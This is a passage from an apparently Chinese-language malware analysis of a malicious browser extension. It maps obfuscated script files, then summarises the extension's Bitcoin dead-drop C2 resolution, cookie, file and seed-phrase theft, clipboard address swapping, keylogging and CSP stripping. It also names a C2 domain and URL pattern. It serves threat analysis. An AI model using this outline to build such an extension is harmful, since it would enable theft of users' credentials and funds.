[R8] 加密货币地址与交易查询：/cwxuigmq/eif4rrars/uvar7s/zss4i9co.js，第 1 行：地址 API 路径约 8,310；scriptpubk... 约 8,690；txHistory 约 14,722。
[R9] 设备指纹：/cwxuigmq/eif4rrars/efklg2o/w9sc4z64k7.js，第 1 行：显示/内存/user-agent 字段约 7,940–8,000；initMachine 约 12,874。
[R10] 注入规则与 DOM 操作：/cwxuigmq/eif4rrars/a0c61bp8m/rutam1.js，第 1 行：getInjections 约 3,383；tab/window 逻辑约 6,976；/cwxuigmq/q03lgwio/nf6rhfqkw9/qa4vsqgc.js，第 1 行：innerHTML 约 40,385；配置入口约 46,753。
[R11] 页面与扩展桥接：/cwxuigmq/q03lgwio/f5ohbaej9q.js，第 1 行：mnemonic 消息片段约 23,868；set-cookie 片段约 41,983；localStorage 相关约 53,949。
[R12] 共享 API/外传通信：/cwxuigmq/eif4rrars/zdbhy39/qcojtycj/t2dopnyq.js，第 1 行：解码字符串表在文件开头；fetch 调用约 13,283；machine 请求约 16,268；exchange 路径约 38,998。
[R13] BIP39 词表/注入脚本：/cwxuigmq/q03lgwio/oqcff5/j5um7t8/na9zzl8nbc.js，第 1 行，文件开头的混淆字符串/数据表；需结合 [R7] 的队列与处理逻辑理解。

去混淆

去混淆之后发现，该恶意扩展通过比特币死信箱技术拉取命令：通过比特币死信箱（bc1qcax2ktdwhtc474uyplvmgrsxkn8z4kdwczhlnj，8 个区块浏览器查询 + RSA 验签）解析 C2 域名 → 每 40 秒拉命令 → 窃取 Cookie/历史/书签/下载、fetch('file:///') 递归读盘打包外传、剪贴板地址替换 + 助记词嗅探、键盘记录与截屏、以受害者身份转发任意带凭据请求，并可用 DNR 规则抹除 CSP。

在地址1AyeAPZUkfsTE5ZQSJ34sbgsMm8pJ24vwr发现C2域名mortarion.com，URL模式：https://mortarion.com/api/machine/sign?d=<域名>。

样本

原始混淆版
 初步去混淆版
 语义重命名与功能等价版